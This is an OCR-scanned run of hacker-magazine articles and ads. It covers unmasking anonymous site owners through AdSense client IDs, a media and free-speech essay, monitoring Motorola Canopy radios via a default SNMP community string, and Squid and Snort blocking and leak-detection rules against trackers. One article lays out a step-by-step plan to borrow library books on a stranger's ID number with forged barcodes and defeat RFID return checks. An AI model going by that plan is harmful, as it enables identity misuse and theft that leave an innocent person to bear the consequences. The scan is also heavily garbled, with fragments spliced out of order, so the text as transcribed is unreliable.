program,  and account information provided to 
GoogLe upon signing up for the AdSense program 
was reused for this new feature. If  you want to 
have this information changed or opt out of the 
program,  then you have to Log in  to you r  AdSense 
account and dig around for the option.  How many 
advertisers actua LLy Logged in and changed their 
info round or opted out of the program? Not that 
many so far. Once agai n,  a defauLt setti ng is po­
tentia LLy exposi ng information that some wou Ld 
rather keep private. 

So what's the poi nt of aLL this i nformation? 
How can this information be applied in  a rea L 
world situation to expose some bit of information 
that you usua LLy wouLdn't be abLe to find? I'LL give 
you a great exampLe. 

For a Long time I've been wondering who 
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owned the  Ca LLer ID spoofi n g  site, 
Ca mophone .co m .  WeLL, I remembered that Camo­
phone  p La ced a Goog Le AdSense ad  at the  top of 
thei r  web page .  So when I su rfed over to thei r  
website a n d  n oti ced t h e  "Advertise o n  th is  site" 
Li n k  fo r the fi rst ti me ,  I got excited .  C li cki n g  on 
the ad di rected me to the AdSense page with the  
text "Advertise on  TxLi n k . "  TxLi n k  happens  to  be  
a Voi ce over IP  p rovide r  that  I had  Looked at i n  
the  not so distant past  when I was Loo ki n g  
a round  fo r different p rovi ders t o  try out with my 
Asteri s k  PBX. The owne rs of Camophone  had re­
ma ined a nonymous ,  a Lways spea ki n g  on  condi­
tions  of a nonymity in n ewspa per a rti cles and on 
thei r  o Ld fo rums ,  up  unti L this LittLe AdSense tri ck 
exposed the  roots behi n d  the  company. 

WeLL, what if a user did actua lly Log in to thei r  
account a n d  opt out o f  t h e  "Onsite Advertiser  
Si gn -Up "  p rog ram and the "Advertise on  this site" 
Li n k  doesn 't a ppear  on a ny of the Goog Le AdSense 
ads? This i s  where the goog Le_ad_cLi ent va ri ab Le 
comes i n  h a n dy! By vi ewi n g  the  sou rce of the  web 
page,  you s hou Ld be a b Le to fi n d  the  
goog Le_ad_cLient vari ab Le a n d  the  un ique  identi­
fier  stri n g .  By repLaci n g  the  va ri ab Le i n  the o rig i­
naL  exa mp Le I m entioned  ear Li e r  with the  one  you 
fi n d  in the sou rce of the  web page,  you s hou Ld 
sti LL be broug ht to the  Onsite Sig n - Up  page a nd  
be shown the  n ame  o f  the  site o r  the n ame  o f  the  
company !  ALso ,  if  the  goog Le_ad_cLient va ri ab Le 
is not fou nd  i n  the  page source fo r some reason 
there 's  sti ll a n other  way to get it! By right  click­
i n g  on the  unde rLi ned title of a d isp Layed Goog Le 

AdSense ad a n d  copyi n g  a n d  pasti n g  the  Li n k  U RL 
you ' LL fi n d  the  goog Le_ad_cLient vari ab Le at the  
end  of  the  stri n g .  H ere's a n  exam p Le from a Secu­
rityFocus .com Goog Le AdSense a d :  
http : / / pagead2 . goo g 1 e s yndication . c om/ p a g  
- e ad / i c l k ? s a= 1 & a i = B 6 K j p S kdtRP 7 2 G 4 6 2 ep_ j p  
- I I B_OXmFPCurP I Bw I 2 3AaDxtQEQAx g D I Kv 1 9 QEo 
-AO i XOVC o g evG _ f __ 8 BmAG6 j waqAQoxMDg z M j  U 
-wM j k z s gEVd 3 d 3 LnN IY 3vyaxR5 Zm9 j dXMuY 2 9 tug 
-EJN z I 4 eDkwX 2 F zyAE B 2 gE 7 aHROcDovL 3 d 3 dy 5 z Z  
-WN l cm l O eWZvY3VzLmNvb S 9 hcmNoaX Z l L z EvNDMO 
-Mz I 5 L zMwL zAvdGhyZWFkZWSVAg 6KHgo& num= 3 & a  
-dur l=http : / /www . mg i l i s t s . com/ & c l ient=ca 
--pub-4 4 1 3 9 4 9 7 1 3 0 0 7 6 2 5  

T h e  goog Le_ad_cLient va ri ab Le i n  this exa mp Le 
is " pub-4413949713007625 " .  N ow that you h ave 
the goog Le_ad_cLient va ri ab Le ,  you ca n fo rm the  
fo llowi n g  U RL. 
https : / / adword s . goog l e . com/ s e l e c t / O n s ite 
- S i gnupLandingPage ? c l ient=ca-pub- 4 4 1 3 9  
- 4 9 7 1 3 0 0 7 6 2 5 & re f e r r i ngUrl=http : / / examp l e  
- . com/ & h l=en & g l=US 

With this examp Le I p rovided ,  the main text 
on the  page reads  "Advertise on Syma ntec Corpo­
rati on "  beca use Symantec owns Secu rity 
- Focus .com a nd  the  Goog Le AdSense account  
used on  the site. 

I n  closi n g ,  the re 's no telli n g  how many othe r  
websites th i s  cou Ld come i n  h a ndy with ,  now that 
a Lmost every website i s  j u m pi n g  on  the  Goog Le 
AdSense bandwagon these days . 

Shouts to The Digital Da wg Pound, NotTheory, 
StankDa wg, Nick84, Decoder, Lucky225, Doug, 
GreyA rea, A v1 d, Strom Carlson, and IBall. The 
Revolution Will Be Digitized! 

Information's Imprisonment 
by Dr. ApocaLypse (dr.apocaLypse@gmaiL.com) 

and Matt FiLLhart 
Fi rst Amendment rights m ust be p rotected if  

our thi rst fo r p rogress is to be quenched ,  our Love 
of pa rti ci patory govern m ent to be sustai ned ,  a n d  
ou r  em brace o f  civi L Li berties t o  be compLete. Un ­
fortunateLy, cu rrent economic  trends  th reaten 
ou r  ri g ht to free speech .  Capita Li sm o n Ly fun c­
ti ons  when  there i s  amp Le competiti o n .  Few peo­
p Le seem to n oti ce that m uch of the  competiti on  
i n  the  com m u nications ,  entertai n ment, a n d  tech ­
no Logy i n d ustri es i s  d ryi n g  u p .  Th i s  dangerous 
pattern  Leaves us with fewer means of atta in i n g  
a nd  disseminati n g  i nfo rmati o n .  

Very LittLe competiti o n  exists i n  the  aforemen­
ti oned  i ndu stries .  At best ,  we have competiti on  
with in  o Li gopo Lies .  In  1 984, O rwell wa rned  the  
worLd about government  controlled media a n d ,  
whi Le w e  have avoided h i s  dystopian view, we 
have faLLen i nto a nother. ALL fo rms of com m u ni ca­
ti ons  that were at o ne  ti m e  ab Le to rea ch a La rge 
percentage  of the popu Lati o n  a re now u nder  the  
contro L of  j ust a few corporations .  Fo r  examp Le ,  
radio broadcasti n g  was a nationwide  medi um  to 
reach peopLe with m usic, radio s hows, and ,  most 
importa ntly, n ews about the worLd a round  them 
and thei r  government. Though  there a re a round  
10 ,000 comme rcia L  rad io  stations  i n  the  U . S . ,  
o n Ly about 1 5  a re a LL-n ews outlets that emp Loy 
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la rge news staffs fo r the i r  reporti n g .  Out of the  
15 ,  13  a re owned by Columbia  B roadcasti n g  Sys­
tem (CBS) . H ere is whe re the rea l  pa rent company 
fun begi ns :  CBS is owned by Viacom Inc .  which 
a lso own Pa ra m ount  Pictu res (one  of the  few ma­
jo r  m ovi e pi ctu re creators) as  we l l  as  Si mon  & 
Schuster, one  of the  world 's leadi n g  book pub­
lis h i ng  companies .  So ,  Viacom contro ls a lead ing  
televis ion media compa ny, a leadi ng  book pub­
li s hi n g  company, a leadi n g  m ovie media com­
pa ny, a n d  the  leader  i n  radio news reporti n g ,  
which m e a n s  that a si n g le group o f  cha i rmen can 
contro l what we read ,  watch ,  a n d  hear, at least i n  
pa rt. To see h o w  widespread such concentration  
i s ,  vi sit http ://www.theyrule . n etj. Also ,  check 
out Free Culture by Lawrence Lessig .  

This lack o f  competiti on  m a y  a llow m u lti -bi l­
li o n  do lla r corporati on s  to sh atter the  founda­
ti ons  of the Internet i n  a push  fo r p rofits . We may 
be the  last generation  to experi ence net n eutra l­
ity. It has  a lways been a n  u nderpi n ni n g  r u le of 
the Internet that a ll packets a re conside red 
equa l. However, many of the  com panies which 
own the li nes used to tra nsfer broadband  data 
a re now consideri n g  givi n g  perks to content 
p roviders who pay m ore . In  other  words, those 
who can n ot afford to pay h i g h  fees wi ll be given 
s lower routes and poore r  service .  For exa mp le ,  
Verizon ' s  CEO clai ms  that Goog le i s  receivi n g  a 
"free lu nch "  a n d  thi n ks h is  company s hou ld be 
compensated .  N ever m i nd  that compan ies li ke 
Goog le enab le Verizon to ma ke a p rofit by givi ng  
people a reason to  use the  Internet. The  end  of  
n et neutra lity th reatens  free speech beca use o n ly 
ri ch companies wi ll be a b le to affo rd to have thei r  
voices heard .  Sta rtups wi ll n ot be ab le to accom­
p li s h  this o r  even get thei r  products to ma rket if 
their customers a re stuck with lousy speeds when  
a ccessi ng  thei r  websites. A m ove away from n et 
n eutra lity i n  the  U . S .  wou ld put us at odds with 
the  rest of the  world . If forei g n  com panies did n 't 
pay off American companies ,  a ccess to thei r  sites 
would p resumab ly be degraded as  well. This cou ld 
lead to a fractured Inte rnet, which would obvi­
ous ly h inde r  the  sp read of i nfo rmati o n .  

Wh i le com pa nies at h ome  pose a subtle ri s k  to 
free speech ,  they readi ly i n hi bit the  free flow of 
i n formation  ab road .  Most of the censorsh ip  ta kes 
p lace in Ch ina ,  where American corporations  a re 
a ll too eager to tramp le free speech j ust to turn a 
p rofit. Microsoft censo rs such evi l terms as "free­
dom , "  "democracy, " a n d  " h uman  ri g hts" from 
the i r  MSN  b logs .  Goog le limits what users ca n see 
in order to p lease the Ch i nese gove rnment.  Ya­
hoo  has  twice he lped h unt down a dissident j ou r­
n a li st, admitti n g  to Cong ress: "We have n ot 
reached out to the  fa m i lies  [of these jou rna l­
i sts] . "  With thei r  vast resou rces ,  a ll of these com-

panies ca n afford to make a sta n d  fo r free 
speec h .  Rig h t  n ow, it i s  easie r  a n d  cheaper  fo r 
these compan ies to degrade h u m a n  rig hts ; this i s  
a fai lu re of the  ma rket which m ust be corrected .  
Cong ress, t han kfu lly, has  caught  wi n d  of th is  and  
he ld hea ri ngs ,  but it rema ins  u n clea r at t h e  ti me  
o f  this writi n g  whether any a cti o n  wi ll come 
about. 

Digita l Ri g hts Management, or DRM ,  i s  a co l­
lection  of techno logies used fo r enfo rcem ent of 
i ntellectua l  p roperty ri g hts in computer h a rd­
ware, software, and media .  Works that m ay be 
subject to rig hts ma nagement a re educati ona l  
a n d  i n cluded i n  o n li n e  reposito ries ,  meani n g  that 
many educati o na l  materi a ls wi ll h ave restri cted 
use ,  rather  than  be open to a ll .  The  use of DRM is  
seen by many i n  the  computer i n d ustry as  a lu­
crative source of new revenue .  H owever, the use 
of di gita l tec hno logy s hou ld n ot be  li mited by 
corporati on s  o r  gove rnment, and the  s hift of 
contro l to producers (even after sa le) wi ll u lti ­
mately h u rt creative expressi on  a n d  damage  con­
sumer ri g hts . If  DRM is  imp lemented o n  a wi de 
sca le ,  then  those companies who  contro l  m ost 
computer m edi ums  ( read :  Microsoft) wi ll h ave 
contro l over what can be read ,  how many ti mes it 
ca n be read ,  a n d  who can read it, wh ich  i s  a scary 
thought  conside ri n g  the Intern et was p raised as 
a medi um  which ca n n ot be li mited and which 
would be open fo r a ll equa lly. For m o re i n forma­
tion  deali n g  with Digita l Rig hts Managem ent, as 
well as  the  future of the Internet read "Th e  Digi­
ta l Impri m atur :  H ow Big B rother  and Big Media 
Can Put the  Internet Genie Back in the  Bottle" by 
J o h n  Walker. 

U n less we do somethi ng  to support freedom 
of speech ,  a g ri m  future li es a head .  Rem e m ber, 
everythi n g  m entioned above j ust app lies to U . S .  
com pa nies .  I don 't rea lly k now  if the  situation  i n  
other  countri es i s  q uite as b a d  yet. I f  y ou  have 
some i nsig ht on the  effects of economics on free 
speech in other p laces, p lease s ha re it. Lucki ly, 
there a re severa l  th ings  we can do to he lp .  J oi n  a 
Free Cu ltu re Chapter (http ://freecultu re . o rg/ 
"chapters/cha pters . p hp )  if you r  u niversity has  
one ,  o r  sta rt one  if it doesn 't. Adopt a Ch i nese 
b logger  so h is  o r  her words ca n bypass the  G reat 
Fi rewa ll. Support the E lectronic Fronti e r  Founda­
tion ' s  lobbyi n g  efforts by becom ing  a mem ber. 
Popula rize a lternative media, li ke 2600, by read­
ing it and telli n g  you r  friends  about it. Install a 
Tor exit server to help othe rs b rowse a nony­
mous ly. Support Project G uten berg ,  whose goa l  i s  
to  create a n  o n li n e  li bra ry of  every book ,  a n d  
have thei r  u s e  be free o f  cha rge a n d  free i n use .  
Mo re suggestions  to promote the  freedom of 
speech a re welcome ,  as a re sto ries of success in 
defendi n g  the  spread of i nfo rmati o n .  
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Singapore Libr 
by Ghostie 

If you have heard about Si ngapore, you prob­
ab ly know that gum is  ba n n ed fo r sa le h ere. I 
wou ld li ke to take this opportunity to s h a re a bit 
mo re about this ti ny little country to the rest of 
the wo rld . 

Si ngapore has  i n  recent years made it to the  
top i n  those " IT  Savvy" li sts and  "Top  X Wi red Na­
ti ons "  repo rts . Perhaps it has  somethi n g  to do 
with a popu lation  of four  mi lli on  pa cked with in  
about 683 square ki lometers of la nd .  A t  the very 
least. wi ri n g  up  takes lesser copper. The govern­
ment of Si ngapore has  a lso been ma ki n g  a 
tremendous  effo rt to keep up with the  revo lution  
by  em braci n g  tech no logy to  replace conventiona l  
p rocesses. 

It used to be req ui red that a person p resent 
his li b ra ry ca rd (a lamin ated ca rd with a barcode 
which bea rs the  Nationa l  Li b ra ry Board 's  logo)  to 
the li b ra ri an  before walki n g  out of the  li bra ry 
with the  books i n k-sta mped with the  due  date of 
retu rn . Now it's no longer  requi red that anyone 
regi ste r fo r a li b rary ca rd as  you ca n use you r  
identity card to  p rocess the  borrowi n g  tra nsac­
ti o n .  To cut down on la bor  costs , self-servi ce ter­
m ina ls a re bei n g  set up fo r citizens to p rocess the 
borrowi n g  tra nsactions  themselves . Since every 
book contai n s  an RFID tag ,  the a la rm would 
sound  if you attempted to walk past the  detecto rs 
without "bor rowi ng "  the  books fi rst. 

At a self-servi ce termi n a l, you wou ld d rop 
you r  identity ca rd i nto a s lot which i s  sha llow 
enough  fo r you to pick it back up  agai n .  The ba r­
code sca n n er 's la ser i n  the  te rmi n a l  has  been ad­
justed to hit on  the  barcode a rea of you r  
identificati o n  n u m ber so the  ba rcode sca n ner  re­
trieves you r  identification  n u m ber  as  the fi rst 
step of the  borrow tra nsacti o n .  Upon  surrender­
i n g  you r  identification  n u m ber, you then p lace 
the  books you want to check out one  by one  on a 
p latfo rm for the  termi n a l  to read via the  RFID 
tags .  

So the  a uthenti cation  mechan ism is  supposed 
to be " somethi ng  you have , "  which is the identifi­
cation  ca rd . Stri ctly spea ki n g ,  you do  not need 
the identification  card. You n eed a card o r  a piece 
of paper  about the same  size as  a n  identification  
ca rd which i s  i m p ri nted with a ba rcode of a legit­
imate identification  n u m ber. 

Allow me  to describe  how I wou ld overcome  
thi s co nveni ent -fo r -custo mers-with 0 ut -a -th 0 ug ht-
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fo r-secu rity system .  I n eed softwa re that p ri n ts 
ba rcodes li ke Ba rCode Pro, a legitimate identifi ­
cation  n u m ber, a n d  a piece of paper  at least the  
s ize  of a n  identification  ca rd .  I f  you q uestion  the  
avai la bi lity of legiti mate identification  n u mbers ,  
I ca n easi ly goog le fo r one  (you may n ot be too 
lucky if  you have you r  name and identificati o n  
n u m ber  a ppear  on  a n  a n nou ncement page  as  a 
wi n ne r  of a pai r of m ovi e ti ckets i n  a lucky d raw) . 

H avi n g  p ri nted a ba rcode  representi n g  some­
one  else's identification  n u m ber  o n  a piece of pa­
per, I can i n sert my "identifi cation  card" (the 
pa per) i nto the  s lot fo r the  term ina l  to read the  
identification  n u m ber  a n d  sta rt borrowi n g  books 
on  someone e lse ' s  account .  Si nce this i s  not a 
ban k, you wou ld n ot expect ca meras  to be poi nt­
i n g  at every termi na l. 

There is a n  u nman ned d rop-off poi nt outside 
every li b ra ry that wi ll ma rk  the  books you d rop  
i nto the  openi ng  as  " retu rned"  by  readi n g  from 
the  RFID tag .  Interesti n g  to n ote, there is a bui lt­
in camera a round  the  leve l you r  face would be 
when you d rop a book i nto the  openi n g .  If you 
have somethi ng  to h ide ,  would you loo k  i nto the 
ca mera i n  the  fi rst p la ce? 

Anyway, I can j ust th row away that " identifi­
cation  card" a nd  start bui ldi n g  a li brary in my 
bedroom ,  leavi n g  the u n lucky fe llow to bea r the  
conseq uences of n ot coming back to  the li bra ry 
with  the  books I had  borrowed .  Bei n g  the ki n d  
person I a m ,  I wou ld remove the  RFID tags from 
the  books a nd  secure them i n dividua lly with a 
stri n g .  I would then vi sit a d rop-off poi nt a n d  
th row the  RFID t a g  i nto the  openi n g  wh i le sti ll 
h o ldi n g  onto the other  end of the stri n g .  Si nce 
the  system would read from the  RFID tag a n d  
ma rk t h e  b o o k  as  " retu rned , "  t h e  books would 
have gone  mysterious ly missi n g  from the li b rary 
without any trace leadi n g  to you un less you have 
been ca ught  loiteri ng  somewhere by the secu rity 
ca meras .  Oh yes, defi nitely you wi ll need to p u ll 
the  RFID tags back with the  stri n g  or e lse that 
poor  fellow wou ld be i nvited fo r coffee by the au­
tho rities .  

I thi n k  a quick patch to the  p rob lem is  p roba­
b ly to add  a PIN/passwo rd featu re on  top of s lot­
ti n g  in the  identification  card . 

This a rti cle is meant fo r educati ona l  ( a nd  
a m usement) pu rposes. 
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M o nito ri n g  M oto ro la 

by dNight 
d_night@comcast.net 

This is a imed at either  someone who works fo r 
a WISP, ISP, or who  j ust wants to lea rn a little 
somethi n g  about monitori n g  the Motorola 
Canopy equi pment usi n g  XP i n stead of Li n ux .  This 
has  been tested o n  the 5 . 7 G h z  equipment. Mo­
torola has set u p  thei r  Canopy equipment to a l­
low a nyone  to monitor the equipment from 
a ny:vhere [i p (O .O .O .O) ) .  This leaves the Canopy 
eqUl pm ent open to traffi c monitori n g  by a nyone  
who  has the  abi lity to  setup M RTG . There a re nu ­
m erous other opti on s  that  you  can  monitor be­
si des traffi c but n eed less to say traffi c is the o n ly 
o ne  I ' ll s how h ow to monito r i n  this a rti cle .  At 
p resent Moto ro la o n ly supports thei r  expensive 
monito ri n g  equi pment ca ll BAM (Bandwidth Allo­
cation  Manager) , thus  the need fo r a free solu­
tio n .  

You need t o  fi rst have access t o  a Wi ndows XP  
mach ine .  Next get M RTG from http://oss. 
-oeti ker.ch/m rtg/down load . en . htm l. You ' ll wa nt 
the  latest release which is m rtg-2 . 14 . 5  as of this 
writi n g .  You ' ll a lso need to download ActivePerl 
from http ://www.activestate . com/Products/ 
- Down load/Down load . p lex?id=ActivePerl. Fi na lly 
you ' ll n eed N et-SN M P  from http://net-snmp 

� .sou rcef
.
orge . n et/down load . htm l. I won ' t  go  

mto detal l on  how to  i n stall the  latter two as  
the re i s  docu mentation  on  the  correspondi n g  
websites. Also, if  you ' d  li ke t o  view t h e  graph s  re­
motely, set up Apache o r  IrS to serve these fi les. 

Once you 've down loaded M RTG create the  
fo lde r  C :  \m rtg a n d  then u nzi p m rtg to  
C :\m rtg\data.  This  is where you r  cfg fi les wi ll go .  
Next create the  fo lder  C :\m rtg\graphs  wh i c h  i s  
whe re the traffi c g rap h s  wi ll go .  Now we need to 
set up  a confi g  fi le that wi ll be used to req uest 
data from the Canopy equ ipment. Below is an ex­
a m p le of a fi le you wi ll use. I'm usi n g  
1 92 . 168 .0 . 5 5  as the  add ress that t h e  Canopy 
wou ld be located at. 
WorkDi r :  C : \mrt g \ graph s 

### I n t erface 1 

Targe t { 1 9 2 . 1 6 8 . 0 . 5 5 ] : 

- 1  : Ca n opy @ 1 9 2 . 1 6 8 .  O .  5 5 : : : : : 2 

F a l l  Z O O I.  

SetEnv { 1 9 2 . 1 6 8 . 0 . 5 5 ] : 

-MRTG_ INT_ IP= " 1 9 2 . 1 6 8 .  0 . 5 5 "  MRTG_INT_DE 

- SCR= "Mo t orol a -PowerQUICC-FEC " 

MaxBy t es { 1 9 2 . 1 6 8 . 0 . 5 5 ] : 1 0 0 0 0 0 0  

Direct ory { 1 9 2 . 1 6 8 . 0 . 5 5 ] : 1 9 2 . 1 6 8 . 0 . 5 5 

Ti t l e { 1 9 2 . 1 6 8 . 0 . 5 5 ] :  Trafflc A n a l ys i s  for 

- - - 1 9 2 . 1 6 8 . 0 . 5 5 

PageTop { 1 9 2 . 1 6 8 . 0 . 5 5 ] : <H1 > Trafflc A n a l y  

- s i s  f o r  - - 1 9 2 . 1 6 8 . 0 . 5 5 </H1 >  

In  o r de r  to  use t h i s  fi le you  s h o u ld save it i n  
the  m rtg data fo lde r  as I PADDRESS . cfg . WorkDi r 
is essenti a l  a n d  on ly used once at the  top of the  
fi le. You can change  anyth ing  between [ ) to be 
any name  you want.  I si mp ly put the  I P  add ress as 
a way to keep it consistent. The  Ta rget i s  what 
you want to monitor. 1 i s  fo r traffi c, Canopy is 
the  defa u lt com m u nity stri n g ,  and : : : : : 2  i s  to 
fo rce S N M Pv2 as it wi ll n ot work with S N M Pv1 .  
The MaxBytes i s  cu rrently set  to monito r down­
load  and u p load  speeds u p  to one meg.  The di rec­
tory i s  where you want the g raph s  stored . As of 
this writi n g  I had the cfg fi les sto red in the same 
di rectory as  the  g raphs  which I don 't recommend  
if  you ' re r unn i ng  t h i s  on  a n  open  web  server. T he  
rest i s  j u st fo r vi sua ls on  the g raph s .  Next we' l l  
n eed to schedu le a batch fi le to run the cfg fi le. 

Scheduling the Batch File 
If you r  XP machi ne  doesn 't have a ny username  

with a password you  wi ll have to  create a n  ac­
count with a password, or password p rotect the 
account you a re cur rently usi n g .  Fi rst create the  
batch fi le with the  i n formation  below and put it 
in C :\m rtg\data\bi n .  
perl mr t g  C :  \mrt g \ da t a \ 1 9 2 .  1 6 8 . 0 . 5 5 . c fg 

Next go to Sta rt => All Programs => Acces­
sories => System Too ls => Schedu led Tasks .  Dou­
b le click  "Add Schedu led Task" and it wi ll b ri n g  up  
a wizard that  you  wi ll use to  sched u le the  batch 
fi le to run every five mi n utes fo r 24 hou rs .  Click  
" Next" on  the  fi rst screen a nd  then click  " B rowse" 
on the fo llowi n g  screen a n d  browse to the batch 
fi le you created in C :\m rtg\data\bi n .  N ext se lect 
to perform the  task dai ly, sched u le the  time  at 
1 2 :00 p m ,  cli ck  " N ext" , enter you r  account  i nfo r­
mation  a n d  password fo r XP or the  one  you j ust 
created .  C li ck  " N ext" , then check the box "Open 
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advan ced p roperties fo r this task when I c li ck  
Fi n i sh "  and then  click  " Fi n i s h " .  When  the  n ew box 
comes up  select the  "Schedu le"  tab and click  on  
"Adva nced " .  Check " Repeat Task" ,  c hange  it to 
every five m in utes with a d u rati o n  of 24 hou rs 
a n d  cli ck  "OK " .  C li ck  "OK"  o n  the  n ext screen a nd  
you  s hou ld now be g raph i ng  the  Moto rola Canopy 
of you r  choice !  

Atta c ki n g  
Th i rd P a rty 

by Particle Bored 
Thi rd pa rty tracki n g  is not goi n g  away. After 

a ll th ere is a lot of money to be made .  Thus  it i s  
u p  to you to defend yourself. This a rti cle wi ll 
show one app roach of si gn ifi ca ntly red uci n g  you r  
exposu re to  th i rd pa rty tracki n g  without ad ­
versely affecti n g  you r  b rowsi n g  experi ence .  

O ne  might  ask  what the big dea l  i s  about thi rd 
pa rty tracki n g .  After a ll, Fo rrester Resea rch 
p raises compan ies li ke Avenue  A ,  a n d  Microsoft 
even uses th i rd pa rty tracki n g  with i n  Money 
2006 . I wou ld respond with the  fo llowi n g  a n a l­
ogy. When  I enter Wa l-Mart I a m  awa re of thei r  
video su rvei l la n ce a nd  I accept the  fact that they 
can do whatever they li ke with the  footage.  Thi rd 
pa rty tracki n g  works mo re li ke a p rivate i nvesti­
gator. Without my knowledge they watch me go 
i nto Wa l-Ma rt, H ome  Depot, a n d  severa l oth er  
p laces t h ro ughout the day .  They document those 
with whom I spea k a nd  note what was said .  I may 
s h a ke them off  once i n  a wh i le ,  but they wi ll fi nd  
me  aga in  later. 

Wh i le th is  m ight  be considered sta lki n g  in the 
p hysica l  wor ld ,  it i s  somehow considered app ro­
p riate on  the Internet. This upsets me  a g reat 
deal. M ost countri es req ui re a warrant fo r such 
i nvasive monitori n g ,  so I fi n d  the i r  tacti cs offen­
sive when  I a m  si mp ly tryi n g  to locate a n  a rti cle 
on the  New York Times website . 

So if we can 't stop them from usi n g  thi rd 
pa rty tracki n g  we can at least avoid sendi n g  them 
o u r  data . The m ost cost-effective way I have 
found  fo r m ost home  users is to uti li ze Sm ooth­
Wa ll Exp ress ( http ://www.smoothwa ll. o rg ) . It i s  
free a n d  fo r those who know a little Li nux  it can 
be modified fo r our pu rposes re latively easi ly. 
( N ote that I have no fi n an ci a l  i nterest i n  

There i s  a support board at http ://motoro la .  
"canopywi reless . com/supportjco m m unity/ 
where you can get m o re i nformation  about the  
Motorola Ca nopy equ ipm ent. With tha n ks to  
many people from the  Motorola message board 
a n d  from across the  Internet, I was ab le to get 
this fu nction i ng  a n d  am happ i ly s h a ri n g  the  
i n formation  I've acqui red with 2600. 

SmoothWa ll. ) 
After getti ng  you r  Smooth Wa ll u p  a n d  run ­

n i ng ,  the  next step is to confi g u re it to imp le­
ment  a Squid access control li st (ACL ) ,  avai la b le 
at http ://www. kgb.to . This wi ll a llow you to b lock 
HTIP req uests by domain name.  This i s  i mportant 
beca use it i s  easy fo r tracki n g  companies to 
change thei r  I P  add resses to avoid detection  but 
it i s  diffi cu lt fo r them to change  doma in  n ames 
si nce it would fo rce thei r  customers to modify 
thei r  code.  Squid ACLs a re a lso one of the  best 
ways to b lock ma li cious  code that resides on  Aka­
mai 's cach i ng  servers. To i m p lement the ACL si m­
p ly copy my evi ldoma ins .txt fi le to  the  
/etc/sq ui d/conCfi les di rectory and  then add  
these two li nes to  you r  squi d . conf: 
ael e vi l dom a i n s  ds t doma i n  src 

.. " / e t c/squi d/con f�fil e s /e vi l doma i n s . txt " 

h t tp� a ccess deny e vi l doma i n s  

The next layer of defense i s  custom ru les fo r 
Sno rt ( a lso avai la b le at http ://www. kgb .to ) .  
With the  h elp o f  a few others,  I have created a 
few ru lesets that effectively detect ma li cious  be­
havio r :  Countri es.  ru les h elps detect traffi c des­
ti n ed fo r u n usua l  countries .  Si mp ly remark  out 
the  countri es you want to i g no re by i n serti n g  a # 
at the begi n n i ng  of a li ne .  You r  own country 
m ight  be a good one .  Ma lware . r u les he lps detect 
HTIP traffi c desti n ed fo r doma ins  known for ma­
li cious  activity. Thi rd pa rty tracki ng  doma ins  a re 
i n cluded .  N PL ru les he lps detect sen sitive data 
that is sti ll escapi n g  i n  clea r text. Si mp ly copy 
the  new ru lesets to the  Sn ort " r u les" di rectory, 
then  go towa rds the  bottom of the  sno rt .conf fi le 
a n d  use the  syntax of the  exi sti ng  ru les to create 
n ew entri es referri n g  to the n ames of the new 
ru les. Go a h ead  a n d  reboot at this poi nt so you r  
Squ i d  a nd  Sno rt changes wi ll ta ke effect. I f  you 
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screw up a nd  Sno rt fai ls to sta rt there wi ll be 
beautifu lly specifi c error messages i n  the  
/va r/log/messages fi le to tell you what you did 
wro ng .  

The last step i s  t o  u s e  the  SmoothWall web  i n ­
terface to  confi gu re a b lack list (agai n avai la b le 
at http ://www. kgb.to ) .  Si mp ly go to Networki n g  
- I P  B lock a n d  enter the  subnets i n  C!D R  (the fo r­
mat that is in pa rentheses in my li st) . Make su re 
you confi g u re each entry to " Rej ect Packet" a n d  
n ot t o  " D rop Packet. " This confi gu rati o n  m a y  b e  
s li g htly less secure from t h e  perspective o f  a n  ex­
terna l  attacker but it wi ll d ramati ca lly imp rove 
b rowsi n g  perfo rmance .  Go a h ead  a n d  try it both 
ways if you don 't beli eve me .  

There i s  o ne  critica l  thi n g  to remem ber :  
SmoothWa ll Exp ress does not uti lize the  i n li n e  
blocki n g  fun ctiona lity o f  Sno rt. You wi ll n eed to 
reg u la r ly monitor the  "Intrusi on  Detecti on  Sys­
tem "  log a n d  respond  to emergi n g  th reats by 
modifyi n g  the  b lack list o r  the Squid ACL. I wi ll do 
some of the work fo r you si n ce I am conti n uous ly 
updati n g  the  fi les on my site . 

Now that you a re fi n i shed confi g u ri n g  you r  
SmoothWall y o u  wi ll n oti ce a lot o f  stuff bei n g  
b locked whi le y o u  a re shoppi n g  o n li n e .  Feel free 
to contact the company a n d  po litely i n form them 
that you refuse to  give you r  credit ca rd  n u m ber  to 
deceptive companies .  Don 't waste your  ti m e  with 
thei r  web admin i strato r, thoug h .  Ma rketi n g  de­
pa rtments appear  to be the most responsive. 

OFF THE HOOK 
Technology from a Hacker Perspective 

BROADCAST 
FOR ALL THE 
WORLD TO HEAR 
Wednesdays, 1900- 2000 ET 
WBAI 9 9 . 5  FM , New York City 
WBCQ 741 5 Khz - shortwave to N orth America 
and at http://www. 2 600.com/offthehook over the net 

Ca LL us d u ri n g  the show at +1  2 1 2  209 2900. 
Emai l  oth @ 2 600.com with your  com m ents.  

And yes, we are i nterested i n  si m u lcasti ng on other 
stations or via sateLLite.  Contact us if you can heLp 
spread "Off The H ook" to more Listeners !  
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THE WILMI NGTON DELAWARE VINTAGE COMPUTING SWAPMEET. 

2800 square feet of hard-ta-find "classic" computers (pre- Internet age), 
gaming, test equipment,  parts and suppl ies,  software, electronics, manu­
als,  and more! October 7 at 504 Market Street,  2nd floor/Copeland 
Room, Wi lmington, Delaware 1 9801 . Event runs from 10 am to 4 pm, 
auct ion starts at 2:30 pm (auct ion i tems to be announced pr ior to event) .  
Admission : $5 ($7 per family) . Exhibitors: $15 (per 8 'x 1 O' space) .  There 
wi l l  be a rather large first-come first-served open area for persons who 
Wish to bring their Items for swap and who don't need a reserved exhibit 
space. Proceeds benefit The Midatlantic Retro Computing Hobbyists 
(50 1 c) - http://marchclub.org/swapmeet.htm 

For Sale 
TV-8-GONE. Turn off TVs i n  publ ic places! Airports, restaurants, bars, 
anywhere there's a TV. See why everyone at HOPE N umber Six loved it. 
Turning off TVs really i s  fun .  $20.00 each. www.TVBGone.com 
VENDING MACHI N E  JACK POTTERS. Go to 
www. hackershomepage.com for EMP Devices. Lock Picks. Radar Jam­
mers & Controversial Hacking Manuals.  407-965-5500 
ADD A CONVERSATIONAL USER INTERFACE to your website or Win­
dows-based software applications with Foxee, the friendly interactive arc­
tic blue fox agent character '  I n  the real world. not everyone who 
navigates your website or software are expert hackers. and some users 
need a l i ttle help. Foxee is a hand-drawn animated cartoon character that 
wi l l  accept input through voice commands, text boxes, or a mouse. and 
interact with your users through text, animated gestures, and even dig ital 
speech to help guide them through your software with ease! Foxee sup­
ports ten spoken languages and 3 1  written languages. She can be added 
